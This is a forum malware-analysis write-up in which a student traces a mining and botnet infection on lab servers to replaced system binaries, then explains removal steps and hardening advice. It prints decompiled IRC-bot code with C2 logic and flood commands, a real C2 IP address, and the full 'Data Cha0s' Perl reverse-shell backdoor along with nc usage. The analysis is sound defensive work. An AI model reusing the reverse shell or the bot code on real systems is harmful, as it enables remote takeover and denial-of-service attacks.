Analyzing PC Samples: A Battle Against Mining Viruses

AuthorForum Account: gxkyrftx

0 Introduction

I am a student, about to graduate. In my spare time, I deployed some honeypots on the internal servers of the campus network and found many interesting things. Here’s a record of one of them.

1 Honeypot Alerts

When I regularly opened the honeypot page, I saw several alert messages. The IPs were quite familiar, coming from the server cluster of the laboratory, so there was no need to collect honeypot dictionaries for reverse cracking.

2 Server Virus Investigation

I logged in with my account and, aside from it being a bit laggy, there was nothing unusual. The CPU usage from the top command was a bit high, which also contributed to the lag.

Analyzing PC Samples: A Battle Against Mining Viruses

2.1 Check Directories

Based on my experience from the past few months fighting against this group, I checked files in several specific directories (/opt, /etc, /tmp, ~) and found none of the tools and files commonly used by this group (I will dedicate a separate post to this if anyone is interested, haha). No screenshots here.

2.2 Check Logs

I browsed the logs under /var, and the main logs to focus on in Linux are:

/var/log/syslog

/var/log/messages

/var/log/httpd/access_log

/var/log/httpd/error_log

/var/log/secure

/var/log/auth.log

/var/log/user.log

/var/log/wtmp

/var/log/lastlog

/var/log/btmp

/var/run/utmp

All logs in the machine were overwritten and cleared. This was unexpected for me because based on their past behavior, they did not usually perform this action. Later, I realized it was to cover their tracks. With the top command showing high CPU usage, I thought of something: bash command substitution.

2.3 Check Network Connections

Here are a few commands I often use:

netstat -atnp to check network connections

ss -t -a -pl also checks network connections

Using these two commands, I found a connection communicating with the external network that had no process ID or name.

Analyzing PC Samples: A Battle Against Mining Viruses

I checked this IP against threat intelligence and found it flagged.

Analyzing PC Samples: A Battle Against Mining Viruses

Thus, I determined that this established connection was problematic, hiding the process ID and name. As for the method of hiding, combined with the earlier top command, it’s not hard to guess it used bash command substitution.

2.4 Check Bash Commands

Taking the netstat command as an example, I found the directory of netstat using whereis, and then used stat to check it. The modification time seemed a bit off, indicating recent changes.

Analyzing PC Samples: A Battle Against Mining Viruses

Other commands like ls and ps also showed recent modifications, raising my suspicion.

2.5 Validate Assumptions

Using commands from busybox, I compared the results with the system commands to validate our assumptions. Busybox can be installed directly via docker:

sudo docker run –rm -itv /tmp/:/tmp busybox:uclibc

We used ./busybox netstat and netstat to compare results, as shown in the following image:

Analyzing PC Samples: A Battle Against Mining Viruses

We can see that the command in busybox displayed the process ID and program, confirming our suspicions.

3 Virus Details

Based on the process ID found, I used ./busybox lsof to view detailed information about the process.

Analyzing PC Samples: A Battle Against Mining Viruses

By accessing this directory and checking its details, we also looked at the differences between the system commands and busybox commands.

Analyzing PC Samples: A Battle Against Mining Viruses

3.1 Virus File Analysis

Here I will analyze a few unique behaviors from this attack; the information in the test folder has been seen before and will not be analyzed.

3.1.1 systemd

This is an elf64 file that has been packed with upx. We can directly use upx -d to unpack it. Then we enter the main function to take a look at its functionality:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  ...
  v17 = argv;
  v36 = "/etc/rc.local";
  v35 = fopen64("/etc/rc.local", "r", envp);    // Get the DNS address of this server
  if ( !v35 )
  {
    v36 = "/etc/rc.local";
    v35 = fopen64("/etc/rc.local", "r", v3);
  }
  if ( v35 )                                    // Get file directory
  {
    v34 = strlen(*argv);
    v33 = 0;
    getcwd(&buf);
    if ( (unsigned int)strcmp(&buf, "/") )
    {
      while ( (*argv)[v34] != 47 )
        --v34;
      v4 = &(*argv)[v34];
      v5 = "\"%s%s\"\n";
      sprintf((unsigned __int64)&v20);
      while ( !(unsigned int)feof_unlocked(v35, v5) )
      {
        fgets_unlocked(v21, 1024LL, v35);
        v5 = &v20;
        if ( !(unsigned int)strcasecmp(v21, &v20) )
          ++v33;
      }
      if ( v33 )
      {
        fclose(v35);
      }
      else
      {
        fclose(v35);
        v26 = fopen64(v36, "a", v6);
        if ( v26 )
        {
          fputs_unlocked(&v20, v26);
          fclose(v26);
        }
      }
    }
    else
    {
      fclose(v35);
    }
  }                                             // Originally there was a fork anti-debugging, I directly nop'd it
  v7 = strlen(*v17);
  v8 = "systemd";
  strncpy(*v17, "systemd", v7);                 // The filename must be systemd
  for ( i = 1; i < argc; ++i )
  {
    v9 = strlen(v17[i]);
    v8 = 0LL;
    memset(v17[i], 0LL, v9);
  }
  v10 = time(0LL);
  v11 = v10 ^ (unsigned __int64)getpid(0LL, v8);
  v12 = v11 + (unsigned int)getppid();
  srand(v12);
  nick = makestring();                          // Randomly select some names from /usr/share/dict/american-english
  ident = makestring();
  user = makestring();
  chan = (__int64)"#root";
  key = (__int64)"null";
  server = 0LL;
  while ( 1 )
  {
LABEL_21:
    con(v12, (__int16 *)v8);                    // Connect to c2 server
    Send(sock, (__int64)"NICK %s\nUSER %s localhost localhost :%s\n", nick, ident, user, v13, v17);// socket connection
    while ( 1 )
    {
      v30 = v18;
      for ( j = 16; j; --j )
      {
        v14 = v30;
        ++v30;
        *v14 = 0LL;
      }
      v18[(unsigned __int64)sock >> 6] |= 1LL << (sock & 0x3F);
      v22 = 1200LL;
      v23 = 0LL;
      v12 = (unsigned int)(sock + 1);
      v8 = (char *)v18;
      if ( (signed int)select(v12, v18, 0LL, 0LL, &v22) <= 0 )
        break;
      for ( k = 0LL; k < numpids; ++k )
      {
        if ( (signed int)waitpid(*(unsigned int *)(4 * k + pids), 0LL, 1LL) > 0 )
        {
          for ( l = k + 1; l < (unsigned __int64)numpids; ++l )
            *(_DWORD *)(4LL * (l - 1) + pids) = *(_DWORD *)(4LL * l + pids);
          *(_DWORD *)(4LL * (l - 1) + pids) = 0;
          v25 = malloc(4 * (--numpids + 1));
          for ( l = 0; l < (unsigned __int64)numpids; ++l )
            *(_DWORD *)(4LL * l + v25) = *(_DWORD *)(4LL * l + pids);
          free(pids);
          pids = v25;
        }
      }
      if ( ((unsigned __int64)v18[(unsigned __int64)sock >> 6] >> (sock & 0x3F)) & 1 )// This part sends relevant information to the c2 server and can also receive commands from c2
      {
        v8 = v21;
        v12 = (unsigned int)sock;
        n = recv((unsigned int)sock, v21, 4096LL, 0LL);
        if ( n <= 0 )
          goto LABEL_21;
        v21[n] = 0;
        for ( m = (_BYTE *)strtok(v21, "\n"); m && *m; m = (_BYTE *)strtok(0LL, "\n") )
        {
          filter(m);
          if ( *m == 58 )
          {
            for ( n = 0; ; ++n )
            {
              v15 = n;
              if ( v15 >= strlen(m) || m[n] == 32 )
                break;
            }
            m[n] = 0;
            strcpy(&v20, m + 1);
            strcpy(m, &m[n + 1]);
          }
          else
          {
            *(_WORD *)&v20 = 42;
          }
          for ( n = 0; ; ++n )
          {
            v16 = n;
            if ( v16 >= strlen(m) || m[n] == 32 )
              break;
          }
          m[n] = 0;
          strcpy(&v19, m);
          strcpy(m, &m[n + 1]);
          for ( n = 0; (&msgs)[2 * n]; ++n )
          {
            if ( !(unsigned int)strcasecmp((&msgs)[2 * n], &v19) )
              ((void (__fastcall *)(_QWORD, char *, _BYTE *))*(&off_6141E8 + 2 * n))((unsigned int)sock, &v20, m);
          }
          v8 = "ERROR";
          v12 = (__int64)&v19;
          if ( !(unsigned int)strcasecmp(&v19, "ERROR") )
            goto LABEL_21;
        }
      }
    }
  }
}

The con function connects to the c2 server, and the address of the c2 is not stored in plaintext; it is randomly decrypted from several strings during program execution. Below are the encrypted strings.

.data:0000000000614060 servers         dq offset aVcuvcyZVoqVcy7
.data:0000000000614060                                         ; DATA XREF: con+59↑r
.data:0000000000614060                                         ; "<vCuvCy<z*?voq$$vCy?73"
.data:0000000000614068                 dq offset aWymBymZymz   ; ";wym_Bym;ZymZ,"
.data:0000000000614070                 dq offset aVa7yefzyS    ; "vA7yEFzy<s"

Below is the decrypted domain name:

Analyzing PC Samples: A Battle Against Mining Viruses

The IP is the previously mentioned 45.137.149.196.

After decryption, a socket connection is established with the c2 server. Below is the complete content of the con function:

__int64 __fastcall con(__int64 a1, __int16 *a2)
{
  ...
  while ( 1 )
  {
LABEL_1:
    sock = -1;
    v2 = time(0LL);
    v3 = v2 ^ (unsigned __int64)getpid(0LL, a2);
    v4 = v3 + (unsigned int)getppid();
    srand(v4);
    if ( !changeservers )
      server = (__int64)servers[(signed int)rand(v4, a2) % numservers];
    decode(server, 0LL);
    v11 = &decodedsrv;
    changeservers = 0;
    do
    {
      a2 = (__int16 *)1;
      sock = socket(2LL, 1LL, 6LL);
    }
    while ( sock < 0 );
    if ( (unsigned int)inet_addr(v11) && (unsigned int)inet_addr(v11) != -1 )
      break;
    v10 = gethostbyname(v11);
    if ( v10 )
    {
      bcopy(**(_QWORD **)(v10 + 24), &v8, *(signed int *)(v10 + 20));
      goto LABEL_11;
    }
    v11 = 0LL;
    close((unsigned int)sock, 1LL);
  }
  v8 = inet_addr(v11);
LABEL_11:
  v6 = 2;
  v7 = htons(1LL);
  a2 = (__int16 *)21537;
  ioctl(sock);
  v9 = time(0LL);
  while ( 1 )
  {
    if ( (unsigned __int64)(time(0LL) - v9) > 9 )
    {
LABEL_19:
      v11 = 0LL;
      close((unsigned int)sock, a2);
      goto LABEL_1;
    }
    *(_DWORD *)_errno_location() = 0;
    a2 = &v6;
    if ( !(unsigned int)connect((unsigned int)sock, &v6, 16LL) || *(_DWORD *)_errno_location() == 106 )
      break;
    if ( *(_DWORD *)_errno_location() != 115 && *(_DWORD *)_errno_location() != 114 )
      goto LABEL_19;
    sleep(1LL);
  }
  setsockopt((unsigned int)sock, 1LL, 13LL, 0LL, 0LL);
  setsockopt((unsigned int)sock, 1LL, 2LL, 0LL, 0LL);
  return setsockopt((unsigned int)sock, 1LL, 9LL, 0LL, 0LL);
}

The above discusses the communication between the server and the host. Below are some signals corresponding to different functions and functionalities, which will not be elaborated further.

.data:0000000000614080 flooders        dq offset aPan          ; "PAN"
.data:0000000000614088 off_614088      dq offset pan
.data:0000000000614090                 dq offset aUdp          ; "UDP"
.data:0000000000614098                 dq offset udp
.data:00000000006140A0                 dq offset aUnknown      ; "UNKNOWN"
.data:00000000006140A8                 dq offset unknown
.data:00000000006140B0                 dq offset aRandomflood  ; "RANDOMFLOOD"
.data:00000000006140B8                 dq offset randomflood
.data:00000000006140C0                 dq offset aNsackflood   ; "NSACKFLOOD"
.data:00000000006140C8                 dq offset nsackflood
.data:00000000006140D0                 dq offset aNssynflood   ; "NSSYNFLOOD"
.data:00000000006140D8                 dq offset nssynflood
.data:00000000006140E0                 dq offset aAckflood     ; "ACKFLOOD"
.data:00000000006140E8                 dq offset ackflood
.data:00000000006140F0                 dq offset aSynflood     ; "SYNFLOOD"
.data:00000000006140F8                 dq offset synflood
.data:0000000000614100                 dq offset aNick         ; "NICK"
.data:0000000000614108                 dq offset nickc
.data:0000000000614110                 dq offset aKekserver    ; "KEKSERVER"
.data:0000000000614118                 dq offset move
.data:0000000000614120                 dq offset aGetspoofs    ; "GETSPOOFS"
.data:0000000000614128                 dq offset getspoofs
.data:0000000000614130                 dq offset aSpoofs       ; "SPOOFS"
.data:0000000000614138                 dq offset spoof
.data:0000000000614140                 dq offset aHackpkg      ; "HACKPKG"
.data:0000000000614148                 dq offset hackpkg
.data:0000000000614150                 dq offset aDisable      ; "DISABLE"
.data:0000000000614158                 dq offset disable
.data:0000000000614160                 dq offset aEnable       ; "ENABLE"
.data:0000000000614168                 dq offset enable
.data:0000000000614170                 dq offset aUpdate       ; "UPDATE"
.data:0000000000614178                 dq offset update
.data:0000000000614180                 dq offset aFuckit       ; "FUCKIT"
.data:0000000000614188                 dq offset killd
.data:0000000000614190                 dq offset aGet          ; "GET"
.data:0000000000614198                 dq offset get
.data:00000000006141A0                 dq offset aVersion      ; "VERSION"
.data:00000000006141A8                 dq offset version
.data:00000000006141B0                 dq offset aKillall      ; "KILLALL"
.data:00000000006141B8                 dq offset killall
.data:00000000006141C0                 dq offset aHelp         ; "HELP"
.data:00000000006141C8                 dq offset help
.data:00000000006141E0 msgs            dq offset a352          ; "352"
.data:00000000006141E8 off_6141E8      dq offset _352
.data:00000000006141F0                 dq offset a376          ; "376"
.data:00000000006141F8                 dq offset _376
.data:0000000000614200                 dq offset a433          ; "433"
.data:0000000000614208                 dq offset a422          ; "422"
.data:0000000000614210                 dq offset a376          ; "376"
.data:0000000000614220                 dq offset aPrivmsg      ; "PRIVMSG"
.data:0000000000614228                 dq offset _PRIVMSG
.data:0000000000614230                 dq offset aPing         ; "PING"
.data:0000000000614238                 dq offset _PING
.data:0000000000614240                 dq offset aNick         ; "NICK"
.data:0000000000614248                 dq offset _NICK
.data:0000000000614250                 align 20h

3.1.2 dc.pl

#!/usr/bin/perl
      use Socket;
      print "Data Cha0s Connect Back Backdoor\n\n";
      if (!$ARGV[0]) {
        printf "Usage: $0 [Host] <Port>\n";
        exit(1);
      }
      print " Dumping Arguments\n";
      $host = $ARGV[0];
      $port = 80;
      if ($ARGV[1]) {
        $port = $ARGV[1];
      }
      print " Connecting...\n";
      $proto = getprotobyname('tcp') || die("Unknown Protocol\n");
      socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
      my $target = inet_aton($host);
      if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
        die("Unable to Connect\n");
      }
      print " Spawning Shell\n";
      if (!fork( )) {
        open(STDIN,">&SERVER");
        open(STDOUT,">&SERVER");
        open(STDERR,">&SERVER");
        exec {'/bin/sh'} '-bash' . "\0" x 4;
        exit(0);
      }
      print " Datached\n\n";

This script aims to create a reverse shell; the specific usage is:

Listen on local port on VPS: nc -lvp port

Run ./dc.pl vps port, and a shell will appear on the VPS.

3.1.3 /lib/libpam_miv

This file stores the passwords of the root users who have logged in recently.

3.1.4 /lib/libscorep_ak

This folder contains the bash commands executed by users, with some recorded formats as follows:

sudo -i
ls --color=auto -l --color=auto
mkdir bin
ls --color=auto -l --color=auto
sudo mkdir bin
ls --color=auto -l --color=auto
mkdir etc
sudo mkdir etc
sudo mkdir lib
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto

3.1.5 /lib/libscorep_tp

This folder contains all the attack tools used in this attack, including the local shadow, passwd, user operation records, etc. It is suspected they intend to package and take them away?

Analyzing PC Samples: A Battle Against Mining Viruses

3.1.6 /etc/kernelvqi

This directory is the installation package for the entire attack tool, which can be proven based on preliminary search results of strings.

Analyzing PC Samples: A Battle Against Mining Viruses

File extraction directory.

3.2 Temporary Virus Removal Methods

  1. Use busybox to kill the process ID, and then find that another process has started.

Analyzing PC Samples: A Battle Against Mining Viruses

  1. We entered proc to check the process information and found that it was still from that virus directory.

Analyzing PC Samples: A Battle Against Mining Viruses

We checked a few processes adjacent to the process ID and found that it was likely the previous pl script executing, so we chose to kill them all.

Analyzing PC Samples: A Battle Against Mining Viruses

At this point, checking the network connections revealed that they had been disconnected, and we were temporarily safe.

Analyzing PC Samples: A Battle Against Mining Viruses

  1. Then use busybox to delete the previously appeared directories and various files. (Reinstalling the system is the best option)

4 Protective Measures

Based on recent virus activity, the virus primarily performs large-scale scanning of the internal network through SSH weak passwords. After finding a batch of compromised machines, it will implant backdoor programs, including but not limited to: openssh backdoor, reverse shell, adding users, SSH public key password-free login, etc. After setting the backdoor, it usually performs large-scale scanning every few days, and the dictionary used for scanning is constantly updated (because the compromised machines have tools to record, and there are also cases of bash command substitution). The recent summary of protective measures is as follows:

  1. Absolutely do not leave weak passwords, whether for web, SSH, or databases; weak passwords are the first line of defense.

  2. If you feel something is off, check network connections, CPU utilization, etc., you might be surprised.

  3. Servers should preferably not set up SSH password-free login for convenience (a bloody lesson); once one server is compromised, the entire cluster/other password-free login clusters are doomed.

  4. It is best to set up an IP whitelist; if compromised, set up a blacklist promptly.

  5. Regularly conduct security checks on servers, upgrade server systems to prevent exploitation of system vulnerabilities (Dirty Cow, etc.) for privilege escalation.

OfficialForumAccount

www.52pojie.cn

RecommendtoFriends

PublicWeChatAccount:WeLoveBreakingForum

OrSearchWeChatAccount:poji_e_52

Leave a Comment